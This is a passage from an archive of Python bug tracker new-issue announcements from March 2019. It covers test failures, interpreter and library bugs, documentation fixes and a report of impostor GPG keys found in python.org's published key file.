For what it's worth one other oddity is that while having test_multiprocessing* failures are relatively common on the Win7 builder during the first round of tests due to exceeding the timeout, they usually pass on the retry, but over this same time frame have begun failing - not due to timeout - even on the second attempt, which is unusual.  It might be coincidental but similar failures are also showing up sporadically on the Win8/Win10 builders where such failures are not common at all.
"""

----------
components: Tests
messages: 337073
nosy: db3l, eric.snow, pablogsal, vstinner
priority: normal
severity: normal
status: open
title: test_io: test_daemon_threads_shutdown_stdout_deadlock() fails on x86 Windows7 3.x
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36177>
_______________________________________

From report at bugs.python.org  Mon Mar  4 03:44:53 2019
From: report at bugs.python.org (Hameer Abbasi)
Date: Mon, 04 Mar 2019 08:44:53 +0000
Subject: [New-bugs-announce] [issue36178] type.__init__ called instead of
 cls.__init__ when inheriting from type.
Message-ID: <1551689093.57.0.614236443318.issue36178@roundup.psfhosted.org>


New submission from Hameer Abbasi <einstein.edison at gmail.com>:

I may be completely misunderstanding here, but: here's a reproducible example:

class MyMeta(type):
    def __new__(cls, *args, **kwargs):
        print('__new__', *args, **kwargs)
        super().__new__(cls, *args, **kwargs)
    
    def __init__(self, a):
        print('__init__', *args, **kwargs)
        super().__init__(*args, **kwargs)

class A(metaclass=MyMeta):
    pass

MyMeta('A', (), {'__module__': '__main__', '__qualname__': 'A'})


Output:

__new__ A () {'__module__': '__main__', '__qualname__': 'A'}
__new__ A () {'__module__': '__main__', '__qualname__': 'A'}

Is this by design?

----------
components: Interpreter Core
messages: 337079
nosy: Hameer Abbasi
priority: normal
severity: normal
status: open
title: type.__init__ called instead of cls.__init__ when inheriting from type.
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36178>
_______________________________________

From report at bugs.python.org  Mon Mar  4 04:41:10 2019
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 04 Mar 2019 09:41:10 +0000
Subject: [New-bugs-announce] [issue36179] _hashopenssl has reference leaks
 in OOM case
Message-ID: <1551692470.57.0.884323239932.issue36179@roundup.psfhosted.org>


New submission from Christian Heimes <lists at cheimes.de>:

Charalampos Stratakis from Red Hat's Python Maintenance Team found two minor reference leaks in _hashopenssl.c. Ref counts of newly allocated are not decreased when allocation of another object fails.

----------
assignee: christian.heimes
components: Extension Modules
messages: 337087
nosy: christian.heimes, gregory.p.smith
priority: normal
severity: normal
stage: patch review
status: open
title: _hashopenssl has reference leaks in OOM case
type: resource usage
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36179>
_______________________________________

From report at bugs.python.org  Mon Mar  4 06:03:37 2019
From: report at bugs.python.org (Enrico Zini)
Date: Mon, 04 Mar 2019 11:03:37 +0000
Subject: [New-bugs-announce] [issue36180] mboxMessage.get_payload throws
 TypeError on malformed content type
Message-ID: <1551697417.39.0.601639302301.issue36180@roundup.psfhosted.org>


New submission from Enrico Zini <enrico at enricozini.org>:

This simple code:

```
import mailbox

mbox = mailbox.mbox("broken.mbox")
for msg in mbox:
    msg.get_payload()
```

Fails rather unexpectedly:

```
$ python3 broken.py 
Traceback (most recent call last):
  File "broken.py", line 5, in <module>
    msg.get_payload()
  File "/usr/lib/python3.7/email/message.py", line 267, in get_payload
    payload = bpayload.decode(self.get_param('charset', 'ascii'), 'replace')
TypeError: decode() argument 1 must be str, not tuple
```

(I'm attaching a zip with code and mailbox)

I would have expected either that the part past text/plain is ignored if it doesn't make sense, or that content-type is completely ignored.

I have to process a large mailbox archive, and this is currently how I had to work around this issue, and it's causing me to have to skip email content which would otherwise be reasonably accessible:

https://salsa.debian.org/nm-team/echelon/commit/617ce935a31f6256257ffb24e11a5666306406c3

----------
files: broken.zip
messages: 337091
nosy: enrico
priority: normal
severity: normal
status: open
title: mboxMessage.get_payload throws TypeError on malformed content type
Added file: https://bugs.python.org/file48184/broken.zip

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36180>
_______________________________________

From report at bugs.python.org  Mon Mar  4 07:21:08 2019
From: report at bugs.python.org (Vinay Rao)
Date: Mon, 04 Mar 2019 12:21:08 +0000
Subject: [New-bugs-announce] [issue36181] Add mode parameter to
 PurePath.write_text to allow for 'a' mode
Message-ID: <1551702068.78.0.254076566761.issue36181@roundup.psfhosted.org>


New submission from Vinay Rao <vinayluzrao at gmail.com>:

- Default should be 'w' for compatibility.

- There should be a check that makes sure mode is either 'w' or 'a', or else raise ValueError.

----------
components: Library (Lib)
messages: 337097
nosy: vinayluzrao
priority: normal
severity: normal
status: open
title: Add mode parameter to PurePath.write_text to allow for 'a' mode
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36181>
_______________________________________

From report at bugs.python.org  Mon Mar  4 07:51:21 2019
From: report at bugs.python.org (Lysandros Nikolaou)
Date: Mon, 04 Mar 2019 12:51:21 +0000
Subject: [New-bugs-announce] [issue36182] Path.write_text() docs do not
 include the case that a file exists
Message-ID: <1551703881.69.0.0731434428442.issue36182@roundup.psfhosted.org>


New submission from Lysandros Nikolaou <lisandrosnik at gmail.com>:

Hi,

in the pathlib.Path.write_bytes() documentation it is clearly stated that "An existing file of the same name is overwritten." Wouldn't it make sense to include something similar to the pathlib.Path.write_text() docs. I had to quickly test it manually to find out what's happening as it wasn't clear to me if the statement applies to write_text() as well.

----------
assignee: docs at python
components: Documentation
messages: 337100
nosy: docs at python, lys.nikolaou
priority: normal
severity: normal
status: open
title: Path.write_text() docs do not include the case that a file exists
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36182>
_______________________________________

From report at bugs.python.org  Mon Mar  4 09:09:25 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 14:09:25 +0000
Subject: [New-bugs-announce] [issue36183] test_gdb failed on AMD64 FreeBSD
 CURRENT Shared 3.x failed
Message-ID: <1551708565.34.0.244594683598.issue36183@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

test_gdb failed on AMD64 FreeBSD CURRENT Shared 3.x failed.

Can it be related to my revert, commit 4d61e6e3b802399be62a521d6fa785698cb670b5?

https://buildbot.python.org/all/#/builders/168/builds/676

FAIL: test_corrupt_tp_flags (test.test_gdb.PrettyPrintTests)
FAIL: test_corrupt_tp_name (test.test_gdb.PrettyPrintTests)
FAIL: test_dicts (test.test_gdb.PrettyPrintTests)
FAIL: test_exceptions (test.test_gdb.PrettyPrintTests)
FAIL: test_frames (test.test_gdb.PrettyPrintTests)
FAIL: test_frozensets (test.test_gdb.PrettyPrintTests)
FAIL: test_getting_backtrace (test.test_gdb.PrettyPrintTests)
FAIL: test_int (test.test_gdb.PrettyPrintTests)
FAIL: test_lists (test.test_gdb.PrettyPrintTests)
FAIL: test_modern_class (test.test_gdb.PrettyPrintTests)
FAIL: test_selfreferential_dict (test.test_gdb.PrettyPrintTests)
FAIL: test_selfreferential_list (test.test_gdb.PrettyPrintTests)
FAIL: test_selfreferential_new_style_instance (test.test_gdb.PrettyPrintTests)
FAIL: test_selfreferential_old_style_instance (test.test_gdb.PrettyPrintTests)
FAIL: test_sets (test.test_gdb.PrettyPrintTests)
FAIL: test_singletons (test.test_gdb.PrettyPrintTests)
FAIL: test_strings (test.test_gdb.PrettyPrintTests)
FAIL: test_subclassing_list (test.test_gdb.PrettyPrintTests)
FAIL: test_subclassing_tuple (test.test_gdb.PrettyPrintTests)
FAIL: test_truncation (test.test_gdb.PrettyPrintTests)
FAIL: test_tuples (test.test_gdb.PrettyPrintTests)
FAIL: test_basic_command (test.test_gdb.PyListTests)
FAIL: test_one_abs_arg (test.test_gdb.PyListTests)
FAIL: test_two_abs_args (test.test_gdb.PyListTests)
FAIL: test_down_at_bottom (test.test_gdb.StackNavigationTests)
FAIL: test_pyup_command (test.test_gdb.StackNavigationTests)
FAIL: test_up_at_top (test.test_gdb.StackNavigationTests)
FAIL: test_up_then_down (test.test_gdb.StackNavigationTests)
FAIL: test_bt (test.test_gdb.PyBtTests)
FAIL: test_bt_full (test.test_gdb.PyBtTests)
FAIL: test_gc (test.test_gdb.PyBtTests)
FAIL: test_pycfunction (test.test_gdb.PyBtTests)
FAIL: test_threads (test.test_gdb.PyBtTests)
FAIL: test_wrapper_call (test.test_gdb.PyBtTests)
FAIL: test_basic_command (test.test_gdb.PyPrintTests)
FAIL: test_print_after_up (test.test_gdb.PyPrintTests)
FAIL: test_printing_builtin (test.test_gdb.PyPrintTests)
FAIL: test_printing_global (test.test_gdb.PyPrintTests)
FAIL: test_basic_command (test.test_gdb.PyLocalsTests)
FAIL: test_locals_after_up (test.test_gdb.PyLocalsTests)

Example:

======================================================================
FAIL: test_NULL_ob_type (test.test_gdb.PrettyPrintTests)
Ensure that a PyObject* with NULL ob_type is handled gracefully
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current/build/Lib/test/test_gdb.py", line 533, in test_NULL_ob_type
    self.assertSane('id(42)',
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current/build/Lib/test/test_gdb.py", line 504, in assertSane
    self.get_gdb_repr(source,
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current/build/Lib/test/test_gdb.py", line 269, in get_gdb_repr
    gdb_output = self.get_stack_trace(source, breakpoint=BREAKPOINT_FN,
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current/build/Lib/test/test_gdb.py", line 249, in get_stack_trace
    self.assertEqual(unexpected_errlines, [])
AssertionError: Lists differ: ['Error: ', 'During startup program exited[62 chars]ck.'] != []

First list contains 4 additional elements.
First extra element 0:
'Error: '

+ []
- ['Error: ',
-  'During startup program exited with code 127.',
-  'No symbol "v" in current context.',
-  'No stack.']

----------
components: Tests
messages: 337119
nosy: pablogsal, vstinner
priority: normal
severity: normal
status: open
title: test_gdb failed on AMD64 FreeBSD CURRENT Shared 3.x failed
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36183>
_______________________________________

From report at bugs.python.org  Mon Mar  4 09:23:48 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 14:23:48 +0000
Subject: [New-bugs-announce] [issue36184] test_gdb.test_threads() is
 specific to _POSIX_THREADS, fail on FreeBSD
Message-ID: <1551709428.6.0.389379055632.issue36184@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

On my FreeBSD VM, _POSIX_THREADS is not defined:

sys.thread_info: sys.thread_info(name='pthread', lock='semaphore', version=None)

test_gdb fails with:

Verify that "py-bt" indicates threads that are waiting for the GIL ... FAIL

======================================================================
FAIL: test_threads (test.test_gdb.PyBtTests)
Verify that "py-bt" indicates threads that are waiting for the GIL
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/vstinner/prog/python/master/Lib/test/test_gdb.py", line 826, in test_threads
    self.assertIn('Waiting for the GIL', gdb_output)
AssertionError: 'Waiting for the GIL' not found in 'Breakpoint 1 at 0x49e5d0: file Python/bltinmodule.c, line 1203.\n[New LWP 100742 of process 68315]\n[New LWP 100749 of process 68315]\n[New LWP 100751 of process 68315]\n[New LWP 100766 of process 68315]\n\nThread 1 hit Breakpoint 1, builtin_id (self=, v=42) at Python/bltinmodule.c:1203\n1203\t    return PyLong_FromVoidPtr(v);\n\nThread 5 (LWP 100766 of process 68315):\nTraceback (most recent call first):\n  File "<string>", line 10, in run\n  File "/usr/home/vstinner/prog/python/master/Lib/threading.py", line 917, in _bootstrap_inner\n    self.run()\n  File "/usr/home/vstinner/prog/python/master/Lib/threading.py", line 885, in _bootstrap\n    self._bootstrap_inner()\n\nThread 4 (LWP 100751 of process 68315):\nTraceback (most recent call first):\n  File "<string>", line 10, in run\n  File "/usr/home/vstinner/prog/python/master/Lib/threading.py", line 917, in _bootstrap_inner\n    self.run()\n  File "/usr/home/vstinner/prog/python/master/Lib/threading.py", line 885, in _bootstrap\n    self._bootstrap_inner()\n\nThread 3 (LWP 100749 of process 68315):\nTraceback (most recent call first):\n  File "<string>", line 10, in run\n  File "/usr/home/vstinner/prog/python/master/Lib/threading.py", line 917, in _bootstrap_inner\n    self.run()\n  File "/usr/home/vstinner/prog/python/master/Lib/threading.py", line 885, in _bootstrap\n    self._bootstrap_inner()\n\nThread 2 (LWP 100742 of process 68315):\nTraceback (most recent call first):\n  File "<string>", line 10, in run\n  File "/usr/home/vstinner/prog/python/master/Lib/threading.py", line 917, in _bootstrap_inner\n    self.run()\n  File "/usr/home/vstinner/prog/python/master/Lib/threading.py", line 885, in _bootstrap\n    self._bootstrap_inner()\n\nThread 1 (LWP 100559 of process 68315):\nTraceback (most recent call first):\n  <built-in method id of module object at remote 0x800bccde8>\n  File "<string>", line 18, in <module>\n'


=> 'Waiting for the GIL' cannot be found in the output, because python-gdb.py failed to detect that a threading is waiting for the GIL.


The problem can be found in Tools/gdb/libpython.py:

    def is_waiting_for_gil(self):
        '''Is this frame waiting on the GIL?'''
        # This assumes the _POSIX_THREADS version of Python/ceval_gil.h:
        name = self._gdbframe.name()
        if name:
            return 'pthread_cond_timedwait' in name

pthread_cond_timedwait() is too close to POSIX threads. We can make this function more portable by checking for 'take_gil' function instead.

----------
components: Library (Lib)
messages: 337120
nosy: vstinner
priority: normal
severity: normal
status: open
title: test_gdb.test_threads() is specific to _POSIX_THREADS, fail on FreeBSD
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36184>
_______________________________________

From report at bugs.python.org  Mon Mar  4 09:43:18 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 14:43:18 +0000
Subject: [New-bugs-announce] [issue36185] [EASY DOC] typo:
 Doc/c-api/objbuffer.rst: There is a typo in "corresponding"
Message-ID: <1551710598.51.0.139249207264.issue36185@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

Issue reported at:
https://github.com/python/cpython/pull/11119/files/650ed79e9dcd6f12b2cd0adcc9d6e3fd1ea929d0#diff-dec96ce8ae89cc364fa198f94357a1ab

> There is a typo in "corresponding"

Does someone want to write a PR?

----------
assignee: docs at python
components: Documentation
keywords: easy
messages: 337122
nosy: docs at python, vstinner
priority: normal
severity: normal
status: open
title: [EASY DOC] typo: Doc/c-api/objbuffer.rst:  There is a typo in "corresponding"
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36185>
_______________________________________

From report at bugs.python.org  Mon Mar  4 10:37:06 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Mon, 04 Mar 2019 15:37:06 +0000
Subject: [New-bugs-announce] [issue36186] [2.7] Coverity scan:
 Modules/linuxaudiodev.c , fd handle is not closed.
Message-ID: <1551713826.41.0.114140422671.issue36186@roundup.psfhosted.org>


New submission from Charalampos Stratakis <cstratak at redhat.com>:

There are two places [0][1] in the code where NULL is returned but the fd handle is not closed.

[0] https://github.com/python/cpython/blob/2.7/Modules/linuxaudiodev.c#L129
[1] https://github.com/python/cpython/blob/2.7/Modules/linuxaudiodev.c#L133

----------
components: Extension Modules
messages: 337131
nosy: cstratak
priority: normal
severity: normal
status: open
title: [2.7] Coverity scan: Modules/linuxaudiodev.c , fd handle is not closed.
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36186>
_______________________________________

From report at bugs.python.org  Mon Mar  4 11:10:00 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 04 Mar 2019 16:10:00 +0000
Subject: [New-bugs-announce] [issue36187] Get rid of NamedStore
Message-ID: <1551715800.47.0.126475770196.issue36187@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

The proposed PR refactors the code for assignment expression and removes the NamedStore value of the expr_context_ty enum added in issue35224. This value is undistinguished from Store except two places in Python/ast.c and Python/symtable.c, but in that cases the difference can be handled at one level upper (when process the NamedExpr expression).

As a side effect this PR fixes the following minor bug:

>>> (True := 1)
  File "<stdin>", line 1
SyntaxError: cannot delete True

----------
components: Interpreter Core
messages: 337136
nosy: emilyemorehouse, gvanrossum, serhiy.storchaka, tim.peters
priority: normal
severity: normal
status: open
title: Get rid of NamedStore
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36187>
_______________________________________

From report at bugs.python.org  Mon Mar  4 13:05:02 2019
From: report at bugs.python.org (Martijn Pieters)
Date: Mon, 04 Mar 2019 18:05:02 +0000
Subject: [New-bugs-announce] [issue36188] Remove vestiges of Python 2
 unbound methods from Python 3
Message-ID: <1551722702.8.0.594568497768.issue36188@roundup.psfhosted.org>


New submission from Martijn Pieters <mj at python.org>:

The implementation of method_hash, method_call and method_descr_get all still contain assumptions that __self__ can be set to None, a holdover from Python 2 where methods could be *unbound*.

These vestiges can safely be removed, because method_new() and PyMethod_New() both ensure that self is always non-null.

In addition, the datamodel description of methods includes this section:

      When a user-defined method object is created by retrieving another method
      object from a class or instance, the behaviour is the same as for a
      function object, except that the :attr:`__func__` attribute of the new
      instance is not the original method object but its :attr:`__func__`
      attribute.

which also only applies to Python 2 unbound methods. Python 3 bound methods never change what they are bound to, let alone produce a new method object from __get__ that has to be careful about what __func__ is set to.

I'm submitting a PR that removes these vestiges, no need to maintain code that never runs.

----------
components: Interpreter Core
messages: 337142
nosy: mjpieters
priority: normal
severity: normal
status: open
title: Remove vestiges of Python 2 unbound methods from Python 3
versions: Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36188>
_______________________________________

From report at bugs.python.org  Mon Mar  4 13:53:06 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Mon, 04 Mar 2019 18:53:06 +0000
Subject: [New-bugs-announce] [issue36189] DOC: Correct word in tutorial
 introduction
Message-ID: <1551725586.73.0.662699652702.issue36189@roundup.psfhosted.org>


New submission from Cheryl Sabella <cheryl.sabella at gmail.com>:

In the tutorial introduction, under section 3.1.3 for Lists, 'sequence type' should be 'sequence types'.

> Like strings (and all other built-in sequence ---> type <---)

Assigning to @Mariatta for the sprints.

----------
assignee: Mariatta
components: Documentation
messages: 337145
nosy: Mariatta, cheryl.sabella
priority: normal
severity: normal
stage: needs patch
status: open
title: DOC: Correct word in tutorial introduction
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36189>
_______________________________________

From report at bugs.python.org  Mon Mar  4 15:45:24 2019
From: report at bugs.python.org (Erik Wennstrom)
Date: Mon, 04 Mar 2019 20:45:24 +0000
Subject: [New-bugs-announce] [issue36190] file object method .tell()
 sometimes returns large number when position is right before a line break
Message-ID: <1551732324.77.0.648452140081.issue36190@roundup.psfhosted.org>


New submission from Erik Wennstrom <ewennstr at indiana.edu>:

Sometimes, when the position on a text file object is right before a line break, the file object method .tell() returns a bizarre large number (18446744073709551621) instead of the correct position.

The incorrect behavior occurs consistently for certain text files, but sometimes, a slight modification of the file will cause the behavior to revert to normal.

I can get this behavior in both Python 3.7.2 and 3.6.5. I've seen it on two different Windows X machines.

I've included two sample text files and a program that tests them both with the same code, which opens the file, reads 4 characters from the file, and then prints the result of the .tell() method. Both should print 4, but one of them prints 18446744073709551621. The only difference between the text files is that one of them has a single extra character before the last line break (which I should note is several lines away from the line where the weird behavior occurs).

Frankly, I don't even have a sliver of an inkling of a notion as to how this error might happen. I encountered it in the middle of teaching an intro programming lecture where I was showing them how file object positions work with .read(). Brought the entire class to a screeching halt.

----------
components: Windows
files: telltest.zip
messages: 337148
nosy: erwenn, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: file object method .tell() sometimes returns large number when position is right before a line break
type: behavior
versions: Python 3.6, Python 3.7
Added file: https://bugs.python.org/file48186/telltest.zip

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36190>
_______________________________________

From report at bugs.python.org  Mon Mar  4 17:39:11 2019
From: report at bugs.python.org (Thomas Jollans)
Date: Mon, 04 Mar 2019 22:39:11 +0000
Subject: [New-bugs-announce] [issue36191] pubkeys.txt contains bogus keys
Message-ID: <1551739151.95.0.42643346766.issue36191@roundup.psfhosted.org>


New submission from Thomas Jollans <tjol at tjol.eu>:

The file https://www.python.org/static/files/pubkeys.txt contains some bogus GPG keys with 32-bit key IDs identical to actual release manager key IDs. (see below) I imagine these slipped in by accident and may have been created by someone trying to make a point. (see also: https://evil32.com/)

This is obviously not a serious security concern, but it would be a better look if the file contained only the real keys, and if https://www.python.org/downloads/ listed fingerprints.

Pointed out by Peter Otten on python-list. https://mail.python.org/pipermail/python-list/2019-March/739788.html

These are the obvious fake keys included: 

pub:-:1024:1:2056FF2E487034E5:1137310238:::-:
fpr:::::::::BA749AC731BE5A28A65446C02056FF2E487034E5:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:C2E8D739F73C700D:1245930666:::-:
fpr:::::::::7F54F95AC61EE1465CFE7A1FC2E8D739F73C700D:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:FABF4E7B6F5E1540:1512586955:::-:
fpr:::::::::FD01BA54AE5D9B9C468E65E3FABF4E7B6F5E1540:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:0E93AA73AA65421D:1202230939:::-:
fpr:::::::::41A239476ABD6CBA8FC8FCA90E93AA73AA65421D:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:79B457E4E6DF025C:1357547701:::-:
fpr:::::::::9EB49DC166F6400EF5DA53F579B457E4E6DF025C:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:FEA3DC6DEA5BBD71:1432286066:::-:
fpr:::::::::801BD5AE93D392E22DDC6C7AFEA3DC6DEA5BBD71:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:236A434AA74B06BF:1366844479:::-:
fpr:::::::::B43A1F9EDE867FE48AD1D718236A434AA74B06BF:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:F5F4351EA4135B38:1250910569:::-:
fpr:::::::::4F3B83264BC0C99EDADBF91FF5F4351EA4135B38:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:D84E17F918ADD4FF:1484232656:::-:
fpr:::::::::3A3E83C9DB23EF8B5E5DADBED84E17F918ADD4FF:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:876CCCE17D9DC8D2:1164804081:::-:
fpr:::::::::C1FCAEABC21C54C03120EF6A876CCCE17D9DC8D2:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:0F7232D036580288:1140898452:::-:
fpr:::::::::12FF24C7BCEE1AE82EC38B3A0F7232D036580288:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:27801D7E6A45C816:1287310846:::-:
fpr:::::::::8CA98EEE6FE14D11DF37694927801D7E6A45C816:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:

----------
assignee: docs at python
components: Documentation
messages: 337156
nosy: docs at python, tjollans
priority: normal
severity: normal
status: open
title: pubkeys.txt contains bogus keys
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36191>
_______________________________________

From report at bugs.python.org  Tue Mar  5 03:39:41 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 05 Mar 2019 08:39:41 +0000
Subject: [New-bugs-announce] [issue36192] Usage of `tmpnam_r` and `tempname`
 is dangerous, better use `mkstemp`
Message-ID: <1551775181.42.0.282557914033.issue36192@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

Hi,

I got these warning messages

/usr/bin/ld: libpython2.7.a(posixmodule.o): in function `posix_tmpnam':
/home/stephane/src/github.com/python/cpython/./Modules/posixmodule.c:7648: warning: the use of `tmpnam_r' is dangerous, better use `mkstemp'
/usr/bin/ld: libpython2.7.a(posixmodule.o): in function `posix_tempnam':
/home/stephane/src/github.com/python/cpython/./Modules/posixmodule.c:7595: warning: the use of `tempnam' is dangerous, better use `mkstemp'


Because the EOL of 2.7 is in 2020-01-01, do you think we should fix this issue?

----------
components: Library (Lib)
keywords: easy (C)
messages: 337172
nosy: benjamin.peterson, matrixise
priority: normal
severity: normal
status: open
title: Usage of `tmpnam_r` and `tempname` is dangerous, better use `mkstemp`
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36192>
_______________________________________

From report at bugs.python.org  Tue Mar  5 06:17:19 2019
From: report at bugs.python.org (=?utf-8?q?Andrius_Laukavi=C4=8Dius?=)
Date: Tue, 05 Mar 2019 11:17:19 +0000
Subject: [New-bugs-announce] [issue36193] Redirected stderr not reset
 properly when using logging
Message-ID: <1551784639.74.0.156563550591.issue36193@roundup.psfhosted.org>


New submission from Andrius Laukavi?ius <anlaukavic at gmail.com>:

It looks like logging library uses always first assigned stderr object and won't change it even if it was reset.

capture_output function redirects stdout and stderr to io.StringIO object, saves what was captured in string and returns it. And then context manager resets back stdout and stderr where it should be originally. Though it seems logging library ignores that.

Here is the code I encountered issue with:

import io
import sys
import contextlib
from typing import Optional
import logging

def capture_output(
    target: object,
    args: Optional[tuple] = None,
        kwargs: Optional[dict] = None) -> str:
    """Redirect stdout and stderr into string buffer and capture it.

    target object is executed with optional args, kwargs and all stdout/
    stderr that is captured, returned in string form.

    Args:
        target: object to execute, usually a function.
        args: target positional arguments (default: {None})
        kwargs: target keyword arguments (default: {None})
    """
    if not args:
        args = ()
    if not kwargs:
        kwargs = {}
    with io.StringIO() as sio:
        with contextlib.redirect_stdout(sio), contextlib.redirect_stderr(sio):
            target(*args, **kwargs)
            output = sio.getvalue()

    print(output)


def dummy():
    print('dummy test')
    logging.warning('dummy test')

def dummy2():
    print('dummy2 test')


capture_output(dummy)  # works
capture_output(dummy)  # won't work anymore.

capture_output(dummy2)  # works
capture_output(dummy2)  # works

Here is what I get running this code:

dummy test
WARNING:root:dummy test

dummy test
--- Logging error ---
Traceback (most recent call last):
  File "/usr/lib/python3.5/logging/__init__.py", line 982, in emit
    stream.write(msg)
ValueError: I/O operation on closed file
Call stack:
  File "tt.py", line 43, in <module>
    capture_output(dummy)  # won't work anymore.
  File "tt.py", line 28, in capture_output
    target(*args, **kwargs)
  File "tt.py", line 36, in dummy
    logging.warning('dummy test')
Message: 'dummy test'
Arguments: ()

dummy2 test

dummy2 test


P.S. here is original question I asked on stack overflow: https://stackoverflow.com/questions/54999650/python3-redirected-stderr-not-reset-properly. I got suggestion to report it as a bug.

----------
components: Library (Lib)
messages: 337178
nosy: Andrius Laukavi?ius
priority: normal
severity: normal
status: open
title: Redirected stderr not reset properly when using logging
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36193>
_______________________________________

From report at bugs.python.org  Tue Mar  5 08:50:43 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 13:50:43 +0000
Subject: [New-bugs-announce] [issue36194] Add "make regen-configure"
Message-ID: <1551793843.2.0.191897840943.issue36194@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

The policy of Fedora is to regenerate generated files in the source code of a package. python3.spec runs "autoconf" and "autoheader" to regenerate configure and pyconfig.h.

IMHO it would be good to have such recipe upstream, something like "make regen-all".

I'm not sure if we can include it in "make regen-all". Currently, the main mandatory Linux job on Travis CI runs "make regen-all" and then ensure that no file has been modified. Problem: configure changes depending on the autoconf version, and usually a Linux distribution only includes a single autoconf version... That's why you may have noticed the "rpath dance" in the generated configure script... Depending on the autoconf version, you get rpath or not...

Fedora issue:
https://bugzilla.redhat.com/show_bug.cgi?id=1377240

----------
components: Build
messages: 337186
nosy: vstinner, zach.ware
priority: normal
severity: normal
status: open
title: Add "make regen-configure"
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36194>
_______________________________________

From report at bugs.python.org  Tue Mar  5 09:28:02 2019
From: report at bugs.python.org (Harmandeep Singh)
Date: Tue, 05 Mar 2019 14:28:02 +0000
Subject: [New-bugs-announce] [issue36195] initializer is not a valid param
 in ThreadPoolExecutor
Message-ID: <1551796082.49.0.510573730128.issue36195@roundup.psfhosted.org>


New submission from Harmandeep Singh <harmandeep3091 at gmail.com>:

In Python 3.6, the docs for ThreadPoolExecutor mentions the following line:

initializer is an optional callable that is called at the start of each worker thread; initargs is a tuple of arguments passed to the initializer. Should initializer raise an exception, all currently pending jobs will raise a BrokenThreadPool, as well any attempt to submit more jobs to the pool.

But, from my experiment in Python 3.6 and 3.7, I have observed that `initializer` and `initargs` were introduced in Python 3.7.

----------
messages: 337189
nosy: harman786
priority: normal
severity: normal
status: open
title: initializer is not a valid param in ThreadPoolExecutor
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36195>
_______________________________________

From report at bugs.python.org  Tue Mar  5 09:31:26 2019
From: report at bugs.python.org (Joris VAN HOUTVEN)
Date: Tue, 05 Mar 2019 14:31:26 +0000
Subject: [New-bugs-announce] [issue36196] sys.executable does not return
 python3 executable when using uwsgi
Message-ID: <1551796286.02.0.860933813615.issue36196@roundup.psfhosted.org>


New submission from Joris VAN HOUTVEN <joris.vanhoutven at uhasselt.be>:

when serving a Flask app with uwsgi, using
`sys.executable`
will provide you the path to your uwsgi executable, not your python executable.
However, the docs specify that it should always return the python interpreter: https://docs.python.org/3/library/sys.html#sys.executable

----------
assignee: docs at python
components: Documentation
messages: 337190
